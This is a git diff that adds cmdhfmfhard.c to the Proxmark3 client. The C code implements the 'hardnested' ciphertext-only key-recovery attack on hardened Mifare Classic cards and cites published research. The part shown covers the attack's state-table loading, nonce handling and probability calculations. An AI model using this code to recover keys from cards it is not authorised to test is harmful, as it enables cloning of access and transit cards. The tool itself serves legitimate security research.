X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/a5eb7820a59f534546dbc237c589b0141db581b1..c48c4d7856cc61694b9bb1a4d9a33f693cb4fbe2:/client/cmdhfmfhard.c diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c new file mode 100644 index 00000000..59bdc5f7 --- /dev/null +++ b/client/cmdhfmfhard.c @@ -0,0 +1,2687 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015, 2016 by piwi +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Implements a card only attack based on crypto text (encrypted nonces +// received during a nested authentication) only. Unlike other card only +// attacks this doesn't rely on implementation errors but only on the +// inherent weaknesses of the crypto1 cypher. Described in +// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened +// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on +// Computer and Communications Security, 2015 +//----------------------------------------------------------------------------- + +#include "cmdhfmfhard.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include "proxmark3.h" +#include "cmdmain.h" +#include "ui.h" +#include "util.h" +#include "crapto1/crapto1.h" +#include "parity.h" +#include "hardnested/hardnested_bruteforce.h" +#include "hardnested/hardnested_bitarray_core.h" + +#define NUM_CHECK_BITFLIPS_THREADS (num_CPUs()) +#define NUM_REDUCTION_WORKING_THREADS (num_CPUs()) + +#define IGNORE_BITFLIP_THRESHOLD 0.99 // ignore bitflip arrays which have nearly only valid states + +#define STATE_FILES_DIRECTORY "hardnested/tables/" +#define STATE_FILE_TEMPLATE "bitflip_%d_%03" PRIx16 "_states.bin" + +#define DEBUG_KEY_ELIMINATION +// #define DEBUG_REDUCTION + +static uint16_t sums[NUM_SUMS] = {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; // possible sum property values + +#define NUM_PART_SUMS 9 // number of possible partial sum property values + +typedef enum { + EVEN_STATE = 0, + ODD_STATE = 1 +} odd_even_t; + +static uint32_t num_acquired_nonces = 0; +static uint64_t start_time = 0; +static uint16_t effective_bitflip[2][0x400]; +static uint16_t num_effective_bitflips[2] = {0, 0}; +static uint16_t all_effective_bitflip[0x400]; +static uint16_t num_all_effective_bitflips = 0; +static uint16_t num_1st_byte_effective_bitflips = 0; +#define CHECK_1ST_BYTES 0x01 +#define CHECK_2ND_BYTES 0x02 +static uint8_t hardnested_stage = CHECK_1ST_BYTES; +static uint64_t known_target_key; +static uint32_t test_state[2] = {0,0}; +static float brute_force_per_second; + + +static void get_SIMD_instruction_set(char* instruction_set) { + if (__builtin_cpu_supports("avx512f")) strcpy(instruction_set, "AVX512F"); + else if (__builtin_cpu_supports("avx2")) strcpy(instruction_set, "AVX2"); + else if (__builtin_cpu_supports("avx")) strcpy(instruction_set, "AVX"); + else if (__builtin_cpu_supports("sse2")) strcpy(instruction_set, "SSE2"); + else if (__builtin_cpu_supports("mmx")) strcpy(instruction_set, "MMX"); + else strcpy(instruction_set, "unsupported"); +} + + +static void print_progress_header(void) { + char progress_text[80]; + char instr_set[12] = ""; + get_SIMD_instruction_set(instr_set); + sprintf(progress_text, "Start using %d threads and %s SIMD core", num_CPUs(), instr_set); + PrintAndLog("\n\n"); + PrintAndLog(" time | #nonces | Activity | expected to brute force"); + PrintAndLog(" | | | #states | time "); + PrintAndLog("------------------------------------------------------------------------------------------------------"); + PrintAndLog(" 0 | 0 | %-55s | |", progress_text); +} + + +void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time) { + static uint64_t last_print_time = 0; + if (msclock() - last_print_time > min_diff_print_time) { + last_print_time = msclock(); + uint64_t total_time = msclock() - start_time; + float brute_force_time = brute_force / brute_force_per_second; + char brute_force_time_string[20]; + if (brute_force_time < 90) { + sprintf(brute_force_time_string, "%2.0fs", brute_force_time); + } else if (brute_force_time < 60 * 90) { + sprintf(brute_force_time_string, "%2.0fmin", brute_force_time/60); + } else if (brute_force_time < 60 * 60 * 36) { + sprintf(brute_force_time_string, "%2.0fh", brute_force_time/(60*60)); + } else { + sprintf(brute_force_time_string, "%2.0fd", brute_force_time/(60*60*24)); + } + PrintAndLog(" %7.0f | %7d | %-55s | %15.0f | %5s", (float)total_time/1000.0, nonces, activity, brute_force, brute_force_time_string); + } +} + + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// bitarray functions + +static inline void clear_bitarray24(uint32_t *bitarray) +{ + memset(bitarray, 0x00, sizeof(uint32_t) * (1<<19)); +} + + +static inline void set_bitarray24(uint32_t *bitarray) +{ + memset(bitarray, 0xff, sizeof(uint32_t) * (1<<19)); +} + + +static inline void set_bit24(uint32_t *bitarray, uint32_t index) +{ + bitarray[index>>5] |= 0x80000000>>(index&0x0000001f); +} + + +static inline void clear_bit24(uint32_t *bitarray, uint32_t index) +{ + bitarray[index>>5] &= ~(0x80000000>>(index&0x0000001f)); +} + + +static inline uint32_t test_bit24(uint32_t *bitarray, uint32_t index) +{ + return bitarray[index>>5] & (0x80000000>>(index&0x0000001f)); +} + + +static inline uint32_t next_state(uint32_t *bitarray, uint32_t state) +{ + if (++state == 1<<24) return 1<<24; + uint32_t index = state >> 5; + uint_fast8_t bit = state & 0x1f; + uint32_t line = bitarray[index] << bit; + while (bit <= 0x1f) { + if (line & 0x80000000) return state; + state++; + bit++; + line <<= 1; + } + index++; + while (bitarray[index] == 0x00000000 && state < 1<<24) { + index++; + state += 0x20; + } + if (state >= 1<<24) return 1<<24; +#if defined __GNUC__ + return state + __builtin_clz(bitarray[index]); +#else + bit = 0x00; + line = bitarray[index]; + while (bit <= 0x1f) { + if (line & 0x80000000) return state; + state++; + bit++; + line <<= 1; + } + return 1<<24; +#endif +} + + +static inline uint32_t next_not_state(uint32_t *bitarray, uint32_t state) +{ + if (++state == 1<<24) return 1<<24; + uint32_t index = state >> 5; + uint_fast8_t bit = state & 0x1f; + uint32_t line = bitarray[index] << bit; + while (bit <= 0x1f) { + if ((line & 0x80000000) == 0) return state; + state++; + bit++; + line <<= 1; + } + index++; + while (bitarray[index] == 0xffffffff && state < 1<<24) { + index++; + state += 0x20; + } + if (state >= 1<<24) return 1<<24; +#if defined __GNUC__ + return state + __builtin_clz(~bitarray[index]); +#else + bit = 0x00; + line = bitarray[index]; + while (bit <= 0x1f) { + if ((line & 0x80000000) == 0) return state; + state++; + bit++; + line <<= 1; + } + return 1<<24; +#endif +} + + + + +#define BITFLIP_2ND_BYTE 0x0200 + + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// bitflip property bitarrays + +static uint32_t *bitflip_bitarrays[2][0x400]; +static uint32_t count_bitflip_bitarrays[2][0x400]; + +static int compare_count_bitflip_bitarrays(const void *b1, const void *b2) +{ + uint64_t count1 = (uint64_t)count_bitflip_bitarrays[ODD_STATE][*(uint16_t *)b1] * count_bitflip_bitarrays[EVEN_STATE][*(uint16_t *)b1]; + uint64_t count2 = (uint64_t)count_bitflip_bitarrays[ODD_STATE][*(uint16_t *)b2] * count_bitflip_bitarrays[EVEN_STATE][*(uint16_t *)b2]; + return (count1 > count2) - (count2 > count1); +} + + +static void init_bitflip_bitarrays(void) +{ +#if defined (DEBUG_REDUCTION) + uint8_t line = 0; +#endif + + char state_files_path[strlen(get_my_executable_directory()) + strlen(STATE_FILES_DIRECTORY) + strlen(STATE_FILE_TEMPLATE) + 1]; + char state_file_name[strlen(STATE_FILE_TEMPLATE)]; + + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + num_effective_bitflips[odd_even] = 0; + for (uint16_t bitflip = 0x001; bitflip < 0x400; bitflip++) { + bitflip_bitarrays[odd_even][bitflip] = NULL; + count_bitflip_bitarrays[odd_even][bitflip] = 1<<24; + sprintf(state_file_name, STATE_FILE_TEMPLATE, odd_even, bitflip); + strcpy(state_files_path, get_my_executable_directory()); + strcat(state_files_path, STATE_FILES_DIRECTORY); + strcat(state_files_path, state_file_name); + FILE *statesfile = fopen(state_files_path, "rb"); + if (statesfile == NULL) { + continue; + } else { + uint32_t *bitset = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (bitset == NULL) { + printf("Out of memory error in init_bitflip_statelists(). Aborting...\n"); + fclose(statesfile); + exit(4); + } + size_t bytesread = fread(bitset, 1, sizeof(uint32_t) * (1<<19), statesfile); + if (bytesread != sizeof(uint32_t) * (1<<19)) { + printf("File read error with %s. Aborting...", state_file_name); + fclose(statesfile); + free_bitarray(bitset); + exit(5); + } + fclose(statesfile); + uint32_t count = count_states(bitset); + if ((float)count/(1<<24) < IGNORE_BITFLIP_THRESHOLD) { + effective_bitflip[odd_even][num_effective_bitflips[odd_even]++] = bitflip; + bitflip_bitarrays[odd_even][bitflip] = bitset; + count_bitflip_bitarrays[odd_even][bitflip] = count; +#if defined (DEBUG_REDUCTION) + printf("(%03" PRIx16 " %s:%5.1f%%) ", bitflip, odd_even?"odd ":"even", (float)count/(1<<24)*100.0); + line++; + if (line == 8) { + printf("\n"); + line = 0; + } +#endif + } else { + free_bitarray(bitset); + } + } + } + effective_bitflip[odd_even][num_effective_bitflips[odd_even]] = 0x400; // EndOfList marker + } + + uint16_t i = 0; + uint16_t j = 0; + num_all_effective_bitflips = 0; + num_1st_byte_effective_bitflips = 0; + while (i < num_effective_bitflips[EVEN_STATE] || j < num_effective_bitflips[ODD_STATE]) { + if (effective_bitflip[EVEN_STATE][i] < effective_bitflip[ODD_STATE][j]) { + all_effective_bitflip[num_all_effective_bitflips++] = effective_bitflip[EVEN_STATE][i]; + i++; + } else if (effective_bitflip[EVEN_STATE][i] > effective_bitflip[ODD_STATE][j]) { + all_effective_bitflip[num_all_effective_bitflips++] = effective_bitflip[ODD_STATE][j]; + j++; + } else { + all_effective_bitflip[num_all_effective_bitflips++] = effective_bitflip[EVEN_STATE][i]; + i++; j++; + } + if (!(all_effective_bitflip[num_all_effective_bitflips-1] & BITFLIP_2ND_BYTE)) { + num_1st_byte_effective_bitflips = num_all_effective_bitflips; + } + } + qsort(all_effective_bitflip, num_1st_byte_effective_bitflips, sizeof(uint16_t), compare_count_bitflip_bitarrays); +#if defined (DEBUG_REDUCTION) + printf("\n1st byte effective bitflips (%d): \n", num_1st_byte_effective_bitflips); + for(uint16_t i = 0; i < num_1st_byte_effective_bitflips; i++) { + printf("%03x ", all_effective_bitflip[i]); + } +#endif + qsort(all_effective_bitflip+num_1st_byte_effective_bitflips, num_all_effective_bitflips - num_1st_byte_effective_bitflips, sizeof(uint16_t), compare_count_bitflip_bitarrays); +#if defined (DEBUG_REDUCTION) + printf("\n2nd byte effective bitflips (%d): \n", num_all_effective_bitflips - num_1st_byte_effective_bitflips); + for(uint16_t i = num_1st_byte_effective_bitflips; i < num_all_effective_bitflips; i++) { + printf("%03x ", all_effective_bitflip[i]); + } +#endif + char progress_text[80]; + sprintf(progress_text, "Using %d precalculated bitflip state tables", num_all_effective_bitflips); + hardnested_print_progress(0, progress_text, (float)(1LL<<47), 0); +} + + +static void free_bitflip_bitarrays(void) +{ + for (int16_t bitflip = 0x3ff; bitflip > 0x000; bitflip--) { + free_bitarray(bitflip_bitarrays[ODD_STATE][bitflip]); + } + for (int16_t bitflip = 0x3ff; bitflip > 0x000; bitflip--) { + free_bitarray(bitflip_bitarrays[EVEN_STATE][bitflip]); + } +} + + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// sum property bitarrays + +static uint32_t *part_sum_a0_bitarrays[2][NUM_PART_SUMS]; +static uint32_t *part_sum_a8_bitarrays[2][NUM_PART_SUMS]; +static uint32_t *sum_a0_bitarrays[2][NUM_SUMS]; + +static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even) +{ + uint16_t sum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t st = state; + uint16_t part_sum = 0; + if (odd_even == ODD_STATE) { + for (uint16_t i = 0; i < 5; i++) { + part_sum ^= filter(st); + st = (st << 1) | ((j >> (3-i)) & 0x01) ; + } + part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits + } else { + for (uint16_t i = 0; i < 4; i++) { + st = (st << 1) | ((j >> (3-i)) & 0x01) ; + part_sum ^= filter(st); + } + } + sum += part_sum; + } + return sum; +} + + +static void init_part_sum_bitarrays(void) +{ + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + for (uint16_t part_sum_a0 = 0; part_sum_a0 < NUM_PART_SUMS; part_sum_a0++) { + part_sum_a0_bitarrays[odd_even][part_sum_a0] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (part_sum_a0_bitarrays[odd_even][part_sum_a0] == NULL) { + printf("Out of memory error in init_part_suma0_statelists(). Aborting...\n"); + exit(4); + } + clear_bitarray24(part_sum_a0_bitarrays[odd_even][part_sum_a0]); + } + } + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + //printf("(%d, %" PRIu16 ")...", odd_even, part_sum_a0); + for (uint32_t state = 0; state < (1<<20); state++) { + uint16_t part_sum_a0 = PartialSumProperty(state, odd_even) / 2; + for (uint16_t low_bits = 0; low_bits < 1<<4; low_bits++) { + set_bit24(part_sum_a0_bitarrays[odd_even][part_sum_a0], state<<4 | low_bits); + } + } + } + + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + for (uint16_t part_sum_a8 = 0; part_sum_a8 < NUM_PART_SUMS; part_sum_a8++) { + part_sum_a8_bitarrays[odd_even][part_sum_a8] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (part_sum_a8_bitarrays[odd_even][part_sum_a8] == NULL) { + printf("Out of memory error in init_part_suma8_statelists(). Aborting...\n"); + exit(4); + } + clear_bitarray24(part_sum_a8_bitarrays[odd_even][part_sum_a8]); + } + } + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + //printf("(%d, %" PRIu16 ")...", odd_even, part_sum_a8); + for (uint32_t state = 0; state < (1<<20); state++) { + uint16_t part_sum_a8 = PartialSumProperty(state, odd_even) / 2; + for (uint16_t high_bits = 0; high_bits < 1<<4; high_bits++) { + set_bit24(part_sum_a8_bitarrays[odd_even][part_sum_a8], state | high_bits<<20); + } + } + } +} + + +static void free_part_sum_bitarrays(void) +{ + for (int16_t part_sum_a8 = (NUM_PART_SUMS-1); part_sum_a8 >= 0; part_sum_a8--) { + free_bitarray(part_sum_a8_bitarrays[ODD_STATE][part_sum_a8]); + } + for (int16_t part_sum_a8 = (NUM_PART_SUMS-1); part_sum_a8 >= 0; part_sum_a8--) { + free_bitarray(part_sum_a8_bitarrays[EVEN_STATE][part_sum_a8]); + } + for (int16_t part_sum_a0 = (NUM_PART_SUMS-1); part_sum_a0 >= 0; part_sum_a0--) { + free_bitarray(part_sum_a0_bitarrays[ODD_STATE][part_sum_a0]); + } + for (int16_t part_sum_a0 = (NUM_PART_SUMS-1); part_sum_a0 >= 0; part_sum_a0--) { + free_bitarray(part_sum_a0_bitarrays[EVEN_STATE][part_sum_a0]); + } +} + + +static void init_sum_bitarrays(void) +{ + for (uint16_t sum_a0 = 0; sum_a0 < NUM_SUMS; sum_a0++) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + sum_a0_bitarrays[odd_even][sum_a0] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (sum_a0_bitarrays[odd_even][sum_a0] == NULL) { + printf("Out of memory error in init_sum_bitarrays(). Aborting...\n"); + exit(4); + } + clear_bitarray24(sum_a0_bitarrays[odd_even][sum_a0]); + } + } + for (uint8_t p = 0; p < NUM_PART_SUMS; p++) { + for (uint8_t q = 0; q < NUM_PART_SUMS; q++) { + uint16_t sum_a0 = 2*p*(16-2*q) + (16-2*p)*2*q; + uint16_t sum_a0_idx = 0; + while (sums[sum_a0_idx] != sum_a0) sum_a0_idx++; + bitarray_OR(sum_a0_bitarrays[EVEN_STATE][sum_a0_idx], part_sum_a0_bitarrays[EVEN_STATE][q]); + bitarray_OR(sum_a0_bitarrays[ODD_STATE][sum_a0_idx], part_sum_a0_bitarrays[ODD_STATE][p]); + } + } + // for (uint16_t sum_a0 = 0; sum_a0 < NUM_SUMS; sum_a0++) { + // for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + // uint32_t count = count_states(sum_a0_bitarrays[odd_even][sum_a0]); + // printf("sum_a0_bitarray[%s][%d] has %d states (%5.2f%%)\n", odd_even==EVEN_STATE?"even":"odd ", sums[sum_a0], count, (float)count/(1<<24)*100.0); + // } + // } +} + + +static void free_sum_bitarrays(void) +{ + for (int8_t sum_a0 = NUM_SUMS-1; sum_a0 >= 0; sum_a0--) { + free_bitarray(sum_a0_bitarrays[ODD_STATE][sum_a0]); + free_bitarray(sum_a0_bitarrays[EVEN_STATE][sum_a0]); + } +} + + +#ifdef DEBUG_KEY_ELIMINATION +char failstr[250] = ""; +#endif + +static const float p_K0[NUM_SUMS] = { // the probability that a random nonce has a Sum Property K + 0.0290, 0.0083, 0.0006, 0.0339, 0.0048, 0.0934, 0.0119, 0.0489, 0.0602, 0.4180, 0.0602, 0.0489, 0.0119, 0.0934, 0.0048, 0.0339, 0.0006, 0.0083, 0.0290 + }; + +static float my_p_K[NUM_SUMS]; + +static const float *p_K; + +static uint32_t cuid; +static noncelist_t nonces[256]; +static uint8_t best_first_bytes[256]; +static uint64_t maximum_states = 0; +static uint8_t best_first_byte_smallest_bitarray = 0; +static uint16_t first_byte_Sum = 0; +static uint16_t first_byte_num = 0; +static bool write_stats = false; +static FILE *fstats = NULL; +static uint32_t *all_bitflips_bitarray[2]; +static uint32_t num_all_bitflips_bitarray[2]; +static bool all_bitflips_bitarray_dirty[2]; +static uint64_t last_sample_clock = 0; +static uint64_t sample_period = 0; +static uint64_t num_keys_tested = 0; +static statelist_t *candidates = NULL; + + +static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) +{ + uint8_t first_byte = nonce_enc >> 24; + noncelistentry_t *p1 = nonces[first_byte].first; + noncelistentry_t *p2 = NULL; + + if (p1 == NULL) { // first nonce with this 1st byte + first_byte_num++; + first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08)); + } + + while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { + p2 = p1; + p1 = p1->next; + } + + if (p1 == NULL) { // need to add at the end of the list + if (p2 == NULL) { // list is empty yet. Add first entry. + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { // add new entry at end of existing list. + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. + if (p2 == NULL) { // need to insert at start of list + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else { // we have seen this 2nd byte before. Nothing to add or insert. + return (0); + } + + // add or insert new data + p2->next = p1; + p2->nonce_enc = nonce_enc; + p2->par_enc = par_enc; + + nonces[first_byte].num++; + nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04)); + nonces[first_byte].sum_a8_guess_dirty = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte + return (1); // new nonce added +} + + +static void init_nonce_memory(void) +{ + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num = 0; + nonces[i].Sum = 0; + nonces[i].first = NULL; + for (uint16_t j = 0; j < NUM_SUMS; j++) { + nonces[i].sum_a8_guess[j].sum_a8_idx = j; + nonces[i].sum_a8_guess[j].prob = 0.0; + } + nonces[i].sum_a8_guess_dirty = false; + for (uint16_t bitflip = 0x000; bitflip < 0x400; bitflip++) { + nonces[i].BitFlips[bitflip] = 0; + } + nonces[i].states_bitarray[EVEN_STATE] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (nonces[i].states_bitarray[EVEN_STATE] == NULL) { + printf("Out of memory error in init_nonce_memory(). Aborting...\n"); + exit(4); + } + set_bitarray24(nonces[i].states_bitarray[EVEN_STATE]); + nonces[i].num_states_bitarray[EVEN_STATE] = 1 << 24; + nonces[i].states_bitarray[ODD_STATE] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (nonces[i].states_bitarray[ODD_STATE] == NULL) { + printf("Out of memory error in init_nonce_memory(). Aborting...\n"); + exit(4); + } + set_bitarray24(nonces[i].states_bitarray[ODD_STATE]); + nonces[i].num_states_bitarray[ODD_STATE] = 1 << 24; + nonces[i].all_bitflips_dirty[EVEN_STATE] = false; + nonces[i].all_bitflips_dirty[ODD_STATE] = false; + } + first_byte_num = 0; + first_byte_Sum = 0; +} + + +static void free_nonce_list(noncelistentry_t *p) +{ + if (p == NULL) { + return; + } else { + free_nonce_list(p->next); + free(p); + } +} + + +static void free_nonces_memory(void) +{ + for (uint16_t i = 0; i < 256; i++) { + free_nonce_list(nonces[i].first); + } + for (int i = 255; i >= 0; i--) { + free_bitarray(nonces[i].states_bitarray[ODD_STATE]); + free_bitarray(nonces[i].states_bitarray[EVEN_STATE]); + } +} + + +// static double p_hypergeometric_cache[257][NUM_SUMS][257]; + +// #define CACHE_INVALID -1.0 +// static void init_p_hypergeometric_cache(void) +// { + // for (uint16_t n = 0; n <= 256; n++) { + // for (uint16_t i_K = 0; i_K < NUM_SUMS; i_K++) { + // for (uint16_t k = 0; k <= 256; k++) { + // p_hypergeometric_cache[n][i_K][k] = CACHE_INVALID; + // } + // } + // } +// } + + +static double p_hypergeometric(uint16_t i_K, uint16_t n, uint16_t k) +{ + // for efficient computation we are using the recursive definition + // (K-k+1) * (n-k+1) + // P(X=k) = P(X=k-1) * -------------------- + // k * (N-K-n+k) + // and + // (N-K)*(N-K-1)*...*(N-K-n+1) + // P(X=0) = ----------------------------- + // N*(N-1)*...*(N-n+1) + + + uint16_t const N = 256; + uint16_t K = sums[i_K]; + + // if (p_hypergeometric_cache[n][i_K][k] != CACHE_INVALID) { + // return p_hypergeometric_cache[n][i_K][k]; + // } + + if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below + if (k == 0) { + // use logarithms to avoid overflow with huge factorials (double type can only hold 170!) + double log_result = 0.0; + for (int16_t i = N-K; i >= N-K-n+1; i--) { + log_result += log(i); + } + for (int16_t i = N; i >= N-n+1; i--) { + log_result -= log(i); + } + // p_hypergeometric_cache[n][i_K][k] = exp(log_result); + return exp(log_result); + } else { + if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception + double log_result = 0.0; + for (int16_t i = k+1; i <= n; i++) { + log_result += log(i); + } + for (int16_t i = K+1; i <= N; i++) { + log_result -= log(i); + } + // p_hypergeometric_cache[n][i_K][k] = exp(log_result); + return exp(log_result); + } else { // recursion + return (p_hypergeometric(i_K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k))); + } + } +} + + +static float sum_probability(uint16_t i_K, uint16_t n, uint16_t k) +{ + if (k > sums[i_K]) return 0.0; + + double p_T_is_k_when_S_is_K = p_hypergeometric(i_K, n, k); + double p_S_is_K = p_K[i_K]; + double p_T_is_k = 0; + for (uint16_t i = 0; i < NUM_SUMS; i++) { + p_T_is_k += p_K[i] * p_hypergeometric(i, n, k); + } + return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); +} + + +static uint32_t part_sum_count[2][NUM_PART_SUMS][NUM_PART_SUMS]; + +static void init_allbitflips_array(void) +{ + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t *bitset = all_bitflips_bitarray[odd_even] = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (bitset == NULL) { + printf("Out of memory in init_allbitflips_array(). Aborting..."); + exit(4); + } + set_bitarray24(bitset); + all_bitflips_bitarray_dirty[odd_even] = false; + num_all_bitflips_bitarray[odd_even] = 1<<24; + } +} + + +static void update_allbitflips_array(void) +{ + if (hardnested_stage & CHECK_2ND_BYTES) { + for (uint16_t i = 0; i < 256; i++) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + if (nonces[i].all_bitflips_dirty[odd_even]) { + uint32_t old_count = num_all_bitflips_bitarray[odd_even]; + num_all_bitflips_bitarray[odd_even] = count_bitarray_low20_AND(all_bitflips_bitarray[odd_even], nonces[i].states_bitarray[odd_even]); + nonces[i].all_bitflips_dirty[odd_even] = false; + if (num_all_bitflips_bitarray[odd_even] != old_count) { + all_bitflips_bitarray_dirty[odd_even] = true; + } + } + } + } + } +} + + +static uint32_t estimated_num_states_part_sum_coarse(uint16_t part_sum_a0_idx, uint16_t part_sum_a8_idx, odd_even_t odd_even) +{ + return part_sum_count[odd_even][part_sum_a0_idx][part_sum_a8_idx]; +} + + +static uint32_t estimated_num_states_part_sum(uint8_t first_byte, uint16_t part_sum_a0_idx, uint16_t part_sum_a8_idx, odd_even_t odd_even) +{ + if (odd_even == ODD_STATE) { + return count_bitarray_AND3(part_sum_a0_bitarrays[odd_even][part_sum_a0_idx], + part_sum_a8_bitarrays[odd_even][part_sum_a8_idx], + nonces[first_byte].states_bitarray[odd_even]); + } else { + return count_bitarray_AND4(part_sum_a0_bitarrays[odd_even][part_sum_a0_idx], + part_sum_a8_bitarrays[odd_even][part_sum_a8_idx], + nonces[first_byte].states_bitarray[odd_even], + nonces[first_byte^0x80].states_bitarray[odd_even]); + } + + // estimate reduction by all_bitflips_match() + // if (odd_even) { + // float p_bitflip = (float)nonces[first_byte ^ 0x80].num_states_bitarray[ODD_STATE] / num_all_bitflips_bitarray[ODD_STATE]; + // return (float)count * p_bitflip; //(p_bitflip - 0.25*p_bitflip*p_bitflip); + // } else { + // return count; + // } +} + + +static uint64_t estimated_num_states(uint8_t first_byte, uint16_t sum_a0, uint16_t sum_a8) +{ + uint64_t num_states = 0; + for (uint8_t p = 0; p < NUM_PART_SUMS; p++) { + for (uint8_t q = 0; q < NUM_PART_SUMS; q++) { + if (2*p*(16-2*q) + (16-2*p)*2*q == sum_a0) { + for (uint8_t r = 0; r < NUM_PART_SUMS; r++) { + for (uint8_t s = 0; s < NUM_PART_SUMS; s++) { + if (2*r*(16-2*s) + (16-2*r)*2*s == sum_a8) { + num_states += (uint64_t)estimated_num_states_part_sum(first_byte, p, r, ODD_STATE) + * estimated_num_states_part_sum(first_byte, q, s, EVEN_STATE); + } + } + } + } + } + } + return num_states; +} + + +static uint64_t estimated_num_states_coarse(uint16_t sum_a0, uint16_t sum_a8) +{ + uint64_t num_states = 0; + for (uint8_t p = 0; p < NUM_PART_SUMS; p++) { + for (uint8_t q = 0; q < NUM_PART_SUMS; q++) { + if (2*p*(16-2*q) + (16-2*p)*2*q == sum_a0) { + for (uint8_t r = 0; r < NUM_PART_SUMS; r++) { + for (uint8_t s = 0; s < NUM_PART_SUMS; s++) { + if (2*r*(16-2*s) + (16-2*r)*2*s == sum_a8) { + num_states += (uint64_t)estimated_num_states_part_sum_coarse(p, r, ODD_STATE) + * estimated_num_states_part_sum_coarse(q, s, EVEN_STATE); + } + } + } + } + } + } + return num_states; +} + + +static void update_p_K(void) +{ + if (hardnested_stage & CHECK_2ND_BYTES) { + uint64_t total_count = 0; + uint16_t sum_a0 = sums[first_byte_Sum]; + for (uint8_t sum_a8_idx = 0; sum_a8_idx < NUM_SUMS; sum_a8_idx++) { + uint16_t sum_a8 = sums[sum_a8_idx]; + total_count += estimated_num_states_coarse(sum_a0, sum_a8); + } + for (uint8_t sum_a8_idx = 0; sum_a8_idx < NUM_SUMS; sum_a8_idx++) { + uint16_t sum_a8 = sums[sum_a8_idx]; + my_p_K[sum_a8_idx] = (float)estimated_num_states_coarse(sum_a0, sum_a8) / total_count; + } + // printf("my_p_K = ["); + // for (uint8_t sum_a8_idx = 0; sum_a8_idx < NUM_SUMS; sum_a8_idx++) { + // printf("%7.4f ", my_p_K[sum_a8_idx]); + // } + p_K = my_p_K; + } +} + + +static void update_sum_bitarrays(odd_even_t odd_even) +{ + if (all_bitflips_bitarray_dirty[odd_even]) { + for (uint8_t part_sum = 0; part_sum < NUM_PART_SUMS; part_sum++) { + bitarray_AND(part_sum_a0_bitarrays[odd_even][part_sum], all_bitflips_bitarray[odd_even]); + bitarray_AND(part_sum_a8_bitarrays[odd_even][part_sum], all_bitflips_bitarray[odd_even]); + } + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num_states_bitarray[odd_even] = count_bitarray_AND(nonces[i].states_bitarray[odd_even], all_bitflips_bitarray[odd_even]); + } + for (uint8_t part_sum_a0 = 0; part_sum_a0 < NUM_PART_SUMS; part_sum_a0++) { + for (uint8_t part_sum_a8 = 0; part_sum_a8 < NUM_PART_SUMS; part_sum_a8++) { + part_sum_count[odd_even][part_sum_a0][part_sum_a8] + += count_bitarray_AND2(part_sum_a0_bitarrays[odd_even][part_sum_a0], part_sum_a8_bitarrays[odd_even][part_sum_a8]); + } + } + all_bitflips_bitarray_dirty[odd_even] = false; + } +} + + +static int compare_expected_num_brute_force(const void *b1, const void *b2) +{ + uint8_t index1 = *(uint8_t *)b1; + uint8_t index2 = *(uint8_t *)b2; + float score1 = nonces[index1].expected_num_brute_force; + float score2 = nonces[index2].expected_num_brute_force; + return (score1 > score2) - (score1 < score2); +} + + +static int compare_sum_a8_guess(const void *b1, const void *b2) +{ + float prob1 = ((guess_sum_a8_t *)b1)->prob; + float prob2 = ((guess_sum_a8_t *)b2)->prob; + return (prob1 < prob2) - (prob1 > prob2); 